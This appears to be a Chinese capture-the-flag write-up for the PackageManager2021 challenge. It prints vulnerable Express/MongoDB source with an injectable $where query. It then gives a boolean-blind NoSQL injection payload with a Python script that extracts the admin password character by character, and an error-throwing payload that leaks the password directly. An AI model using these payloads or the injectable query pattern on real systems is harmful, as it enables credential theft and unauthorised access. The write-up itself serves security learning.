# [2021 祥云杯] PackageManager2021
index.ts 的源码:
import * as express from "express"; | |
import { User } from "../schema"; | |
import { checkmd5Regex } from "../utils"; | |
const router = express.Router(); | |
router.get('/', (_, res) => res.render('index')) | |
router.get('/login', (_, res) => res.render('login')) | |
router.post('/login', async (req, res) => { | |
let { username, password } = req.body; | |
if (username && password) { | |
if (username == '' || typeof (username) !== "string" || password == '' || typeof (password) !== "string") { | |
return res.render('login', { error: 'Parameters error' }); | |
} | |
const user = await User.findOne({ "username": username }) | |
if (!user || !(user.password === password)) { | |
return res.render('login', { error: 'Invalid username or password' }); | |
} | |
req.session.userId = user.id | |
res.redirect('/packages/list') | |
} else { | |
return res.render('login', { error: 'Parameters cannot be blank' }); | |
} | |
}) | |
router.get('/register', (_, res) => res.render('register')) | |
router.post('/register', async (req, res) => { | |
let { username, password, password2 } = req.body; | |
if (username && password && password2) { | |
if (username == '' || typeof (username) !== "string" || password == '' || typeof (password) !== "string" || password2 == '' || typeof (password2) !== "string") { | |
return res.render('register', { error: 'Parameters error' }); | |
} | |
if (password != password2) { | |
return res.render('register', { error: 'Password do noy match' }); | |
} | |
if (await User.findOne({ username: username })) { | |
return res.render('register', { error: 'Username already taken' }); | |
} | |
try { | |
const user = new User({ "username": username, "password": password, "isAdmin": false }) | |
await user.save() | |
} catch (err) { | |
return res.render('register', { error: err }); | |
} | |
res.redirect('/login'); | |
} else { | |
return res.render('register', { error: 'Parameters cannot be blank' }); | |
} | |
}) | |
router.get('/logout', (req, res) => { | |
req.session.destroy(() => res.redirect('/')) | |
}) | |
router.get('/auth', (_, res) => res.render('auth')) | |
router.post('/auth', async (req, res) => { | |
let { token } = req.body; | |
if (token !== '' && typeof (token) === 'string') { | |
if (checkmd5Regex(token)) { | |
try { | |
let docs = await User.$where(`this.username == "admin" && hex_md5(this.password) == "${token.toString()}"`).exec() | |
console.log(docs); | |
if (docs.length == 1) { | |
if (!(docs[0].isAdmin === true)) { | |
return res.render('auth', { error: 'Failed to auth' }) | |
} | |
} else { | |
return res.render('auth', { error: 'No matching results' }) | |
} | |
} catch (err) { | |
return res.render('auth', { error: err }) | |
} | |
} else { | |
return res.render('auth', { error: 'Token must be valid md5 string' }) | |
} | |
} else { | |
return res.render('auth', { error: 'Parameters error' }) | |
} | |
req.session.AccessGranted = true | |
res.redirect('/packages/submit') | |
}); | |
export default router; |
主页注册登陆后:
发现这些东西全被过滤了,那应该就是不是上传 js 文件 submit 东西执行 js 文件获取文件了,那应该就是拿 admin 的密码登录了,找一下源码关于 admin 的信息,找到这个源码:
router.post('/auth', async (req, res) => { | |
let { token } = req.body; | |
if (token !== '' && typeof (token) === 'string') { | |
if (checkmd5Regex(token)) { | |
try { | |
let docs = await User.$where(`this.username == "admin" && hex_md5(this.password) == "${token.toString()}"`).exec() | |
console.log(docs); | |
if (docs.length == 1) { | |
if (!(docs[0].isAdmin === true)) { | |
return res.render('auth', { error: 'Failed to auth' }) | |
} | |
} else { | |
return res.render('auth', { error: 'No matching results' }) | |
} | |
} catch (err) { | |
return res.render('auth', { error: err }) | |
} | |
} else { | |
return res.render('auth', { error: 'Token must be valid md5 string' }) | |
} | |
} else { | |
return res.render('auth', { error: 'Parameters error' }) | |
} | |
req.session.AccessGranted = true | |
res.redirect('/packages/submit') | |
}); |
其中:
let docs = await User.$where(`this.username == "admin" && hex_md5(this.password) == "${token.toString()}"`).exec() | |
console.log(docs); |
这个 token 我们可以控制,并且还有 exec 执行函数,可以构造随便 md5“加上 ||this.password [0]==”a 进行布尔盲注
bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb" || this.password[0]=="a"
此时:
this.username == "admin" && hex_md5(this.password) == "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" || this.password[0]=="a" |
基本上就是 || 后面的对了就是对的,错了就是错的,就可以爆密码了
import requests | |
import string | |
url="http://33384f3e-07da-423c-a59f-2b1d078b0e5e.node5.buuoj.cn:81/auth" | |
headers={ | |
"Cookie": "session=s%3A3wvQHv9Y0mXpJiI6waZgpyDAJEUZx1xo.JVohWm50pSeTB1xXjWBypCPrJjkGoxsdEJ4MukmieVQ", | |
} | |
flag = '' | |
for i in range(10000): | |
for j in string.printable: | |
if j == '"': | |
continue | |
payload='aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"||this.password[{}]=="{}'.format(i,j) | |
data={ | |
"_csrf": "90fXyUpP-Ozj7FRw1cLILI9yNJds_QbJM5Bk", | |
"token": payload | |
} | |
r=requests.post(url=url,data=data,headers=headers,allow_redirects=False) | |
# print(r.text) | |
if "Found. Redirecting to" in r.text: | |
print(payload) | |
flag+=j | |
print(flag) | |
break |
登陆就出了
还有就是
# 用 js 语句 throw error
js 直接报错出的
token=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"||(()=>{throw Error(this.password)})()=="admin |
逻辑判断语句为:
`this.username == "admin" && hex_md5(this.password) == "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"||(()=>{throw Error(this.password)})()!="aaaaa"` |
这里就是立即执行 throw Error (this.password),后面是!= 还是 == 字符串的值是什么都无所谓,只要是语法没问题然后语句正常执行,这里强制抛出异常,从源码中可以看到抛出的异常会被渲染出来,然后就能够看到 password 的值
也是直接出密码